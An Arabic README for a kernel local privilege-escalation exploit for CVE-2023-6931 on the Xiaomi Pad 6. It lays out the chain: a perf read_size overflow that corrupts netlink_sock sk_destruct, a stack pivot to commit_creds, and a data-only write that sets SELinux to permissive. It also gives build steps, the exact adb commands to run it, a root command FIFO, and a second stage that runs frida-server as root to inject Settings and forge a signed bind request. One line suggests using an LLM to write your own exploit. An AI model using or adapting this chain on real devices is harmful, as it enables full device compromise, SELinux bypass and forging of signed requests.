
استغلال ثغرة Kernel LPE لـ CVE-2023-6931 على Xiaomi Pad 6 (pipa)، عبر تسلسل تجاوز سعة read_size في perf للوصول إلى root وتعطيل SELinux من خلال إفساد netlink_sock sk_destruct بالبيانات فقط.
النسخة النهائية من الـ exploit المستخدمة فعليًا على الجهاز، مُجمَّعة هنا في هذا الدليل بشكل منفصل.
الجهاز Xiaomi Pad 6 / pipa / SM8250
النظام HyperOS OS2.0.20.0.UMZCNXM
النواة 4.19.157-perf-g240e1d0a5f52
نقطة البداية adb shell (نطاق shell)
النتيجة uid0 لمرة واحدة + SELinux permissive شامل (يُلغى عند إعادة التشغيل)
انظر رأس ملف exploit.c، والملخص كالتالي.
1) perf group read_size overflow -> بدائية زيادة ذاتية u64 خارج الحدود
2) زيادة ذاتية victim netlink_sock->sk_destruct -> netlink_sock_destruct_work (+0x28e8)
3) close(victim) -> sk_destruct(work) -> container_of(work, netlink_sock, 0x440)
-> fake = victim-0x440 -> sk_free(fake) -> __sk_destruct(&fake->sk_rcu)
-> fake->sk_destruct @ fake+704 = pivot(mov sp, x19)
4) نقل المكدس إلى حمولة skb داخل fake (pt_regs1 @ +960، pt_regs2 @ +1120)
5) restore_tramp -> eret EL1h -> commit_creds(&init_cred)
6) restore_no_kpti -> eret EL0 -> post_root
تعطيل SELinux يتم عبر إعادة كتابة بيانات خالصة: fake+0x248 يشير إلى selinux_state، وatomic_dec في __sk_destruct تُنقص enforcing من 1 إلى 0 في أقل جزء بت من تلك الكلمة.
./build.sh # الإخراج إلى exploit في هذا الدليل
CC=aarch64-linux-gnu-gcc ./build.sh /tmp/exploit
سطر الأوامر المستخدم في سكربت التشغيل .project/scripts/drive_selinux_off.sh:
adb push exploit_selinux8 /data/local/tmp/exploit_selinux8
adb shell 'chmod 755 /data/local/tmp/exploit_selinux8'
adb shell 'cd /data/local/tmp && setsid nohup /data/local/tmp/exploit_selinux8 \
--selinux-off --layout-interleave --tsec-sid 1 --alarm-us 5000000 \
> /data/local/tmp/run.out 2>&1 < /dev/null &'
معاني المعاملات:
--selinux-off تعطيل SELinux (مسار إعادة كتابة بيانات خالصة)، مع تزوير cred
--layout-interleave ترتيب متشابك لتسلسل التخصيص، بحيث تقع الزيادة الذاتية خارج الحدود على sk_destruct للكائن الهدف
--tsec-sid 1 تزوير sid/osid للسياق الأمني في cred (يُستخدم 1 عند تعذّر الحصول على sid النطاق الحقيقي)
--alarm-us 5000000 إيقاظ ذاتي ITIMER_REAL، المحاولة العالقة تخرج بعد 5 ثوانٍ
شروط التشغيل والقيود:
shell يستطيع الوصول إلى perf_event وnetlink_route، بينما نطاق التطبيق لا يستطيع، لذا يجب التشغيل من adb shell؛perf_event_mlock_kb = 516، لا تُعِد التشغيل في نفس جلسة الإقلاع، فإذا لم تخرج النسخة السابقة لن تُحرَّر الأحداث، وإعادة التشغيل ستُنشئ فقط من 4000 إلى 6000؛kill -9 لتنظيف النسخ القديمة ثم أعد المحاولة، وإلا فستُحتسب محاولة واحدة فعّالة لكل إقلاع؛pause()، وroot وpermissive صالحان فقط لهذه الجلسة.--edl، --edl2)، للدخول الحتمي إلى EDL من نافذة root، وهذا الدليل يضم فقط النسخة المستخدمة نهائيًا.هذا الدليل يحتوي على المرحلة الأولى فقط. السلسلة الكاملة في الواقع من مرحلتين، ونقطة الوصل هي قناة أوامر root التي تتركها المرحلة الأولى.
المرحلة الأولى exploit_selinux8 رفع صلاحيات النواة + تعطيل SELinux، ثم التوقف عند قناة أوامر root
الناتج: uid0 + permissive، القناة = FIFO /data/local/tmp/root_in|root_out
(بالإضافة إلى abstract unix socket rootshell / rootshell2، ووضع --root-client PORT)
المرحلة الثانية stage2-frida/ تشغيل frida-server بصلاحيات root عبر القناة أعلاه، وحقن Settings
الناتج: طلب ربط مُنشأ ومُرسَل داخل عملية التطبيق (توقيع TEE)
عند انتهاء المرحلة الأولى تُكتب ROOTSHELL_OK في /data/local/tmp/root_proof.txt كدليل على إمكانية تنفيذ الأوامر. بعد ذلك أي إجراء root من الجهاز المضيف يكون بكتابة سطر أمر في FIFO، مثل السطر الذي يشغّل frida-server في المرحلة الثانية:
adb shell "echo 'killall -9 frida-server 2>/dev/null; rm -f /data/local/tmp/frida.log; \
setsid runcon u:r:shell:s0 /data/local/tmp/frida-server16 -D \
</dev/null >/data/local/tmp/frida.log 2>&1 & echo FRIDA_STARTED' > /data/local/tmp/root_in"
لا يمكن حذف runcon u:r:shell:s0: بعد تعطيل SELinux، إذا عمل frida-server في نطاق kernel فلن يحصل على Android Context، وسيُصاب PackageManager بـ NPE.
الاعتماديات الخارجية (غير مرفقة في هذا الدليل): frida-server 16.7.19 (54 MB، في .project/tools/ext/frida/fs16، بادئة sha256 4eebf1fbc66ff54aba9a9124) وعميل python المقابل (.project/tools/ext/fridavenv16، frida 16.7.19). يُستخدم 16.x بدلًا من 17.x لأن agent في 17 لا يحتوي على Java bridge.
سلسلة الاستدعاء الكاملة مُنسَّقة بواسطة .project/scripts/drive_selinux_off.sh: بعد إصابة نافذة root يكون الإجراء الأول هو bash .project/scripts/exp_forge_send.sh، وعند الحصول على code 0 تتوقف الحلقة.
exploit_selinux8 هو النسخة الأصلية المُسلَّمة، ومجاميع التحقق في SHA256SUMS. إعادة البناء من مصدر هذا الدليل تُنتج ملفًا تنفيذيًا مختلفًا:
إعادة البناء من مصدر هذا الدليل 1,853,744 B f8bb900bf4e197190d56bfc1437bcc9a025e49640a7fa2a78ff0f7fb0a6e7939
إعادة البناء من المصدر الأصلي 1,853,752 B 96c7c3637682a2d5869ab4b6a732688a252f17f5e604b1695bc8fcc022113b3f
النسخة التي عملت فعليًا 1,853,720 B 279837d2ee028fbbb520120180156446ad8dc3286b723e28de300b544be2a21a
تم تحديد الفروقات رمزًا برمز، والمصدر واحد فقط: وجود وضعين إضافيين في جدول معاملات سطر الأوامر.
--edl الإطار 2 يستدعي __qcom_scm_set_dload_mode(dev, 1)
--edl2 الإطار 2 يكتب dload cookie مباشرة
بعبارة أخرى، النسخة المُسلَّمة بُنيت قبل إضافة وضع EDL، والمصدر الحالي بعد الإضافة (.project/work/exploit_edl1، exploit_edl2 بُنيا منه). فرع EDL يعمل فقط عند تمرير --edl أو --edl2، وedl_mode افتراضيًا 0، والسطر الوحيد ذو الصلة في بناء payload هو edl_mode ? 1ULL : rt(OFF_INIT_CRED)، لذا عند استخدام سطر الأوامر النهائي --selinux-off يكون السلوك متطابقًا. الفرق هو إضافة وظيفية، وليس إصلاحًا أو تغييرًا في السلوك، والملف التنفيذي مُرفق كنسخة أصلية، والمصدر محتفظ بالنسخة الكاملة.
تمت المعالجة بـ .project/tools/strip_dev_comments.py، بحذف 124 كتلة تعليق من عملية التطوير (علامات تكرار الإصدارات مثل v96، v127، ونبرة تصحيح صينية مثل "القيمة القديمة/القياس الفعلي/إعادة التشغيل/التخطي")، مع الاحتفاظ بـ 313 تعليقًا بنيويًا. مقارنة نتيجة المعالجة المسبقة تُظهر فرقًا في الأسطر الفارغة فقط، ورموز الكود متطابقة تمامًا. لا تزال سجلات التشغيل تحتوي على نصوص مطبوعة ببادئة vNNN:، لأنها مخرجات البرنامج وليست تعليقات.
idk fr what files are really needed, if you want to you might very need a LLM to understand the whole exp and write yours.
| الملف | الوصف |
|---|
exploit.c | الكود المصدري. تمت إزالة تعليقات عملية التطوير، مع الاحتفاظ بالتعليقات البنيوية مثل شرح السلسلة في رأس الملف، وجدول الإزاحات، وتخطيط البُنى |
text_syms.h | جدول رموز .text المُولَّد من تفريغ kallsyms للجهاز، ضروري للترجمة |
ro_syms.h | نفس الشيء، جدول رموز البيانات للقراءة فقط، ضروري للترجمة |
exploit_selinux8 | الملف التنفيذي الذي يعمل فعليًا على الجهاز، مطابق للنسخة المستخدمة في سكربت التشغيل |
build.sh | سكربت البناء |
SHA256SUMS | مجاميع التحقق للملفات المذكورة أعلاه |
| الملف | الوصف |
|---|
exp_forge_send.sh | دفع وتشغيل frida-server 16.7.19، والتأكد من عمل Settings، والحصول على pid، وتشغيل agent |
frida_run.py | غلاف لعميل frida، يدعم الاتصال المباشر عبر FRIDA_PID والتشغيل الذاتي عبر FRIDA_SPAWN (لتجاوز am/pm) |
forge_send.js | نسخ getNonce داخل عملية Settings، وتوقيع applyBind بمجموعة الحقول القديمة وإرساله |
| بند المقارنة | النتيجة |
|---|
| الرموز ذات أحجام الدوال المختلفة | فقط main (shipped 17,744 B، إعادة البناء 18,004 B، الفرق 260 B ≈ 65 تعليمة) |
| باقي 1,503 دالة | الأحجام متطابقة تمامًا، بلا زيادة أو نقصان |
| الرموز الموجودة في إعادة البناء فقط | edl_mode واحد |
| جدول معاملات سطر الأوامر | shipped 85، إعادة البناء 87، والزائدان هما --edl و--edl2 |
عدد تعليمات .text بالكامل | 126,533 و126,597، الفرق 64 تعليمة، متوافق مع فرق main |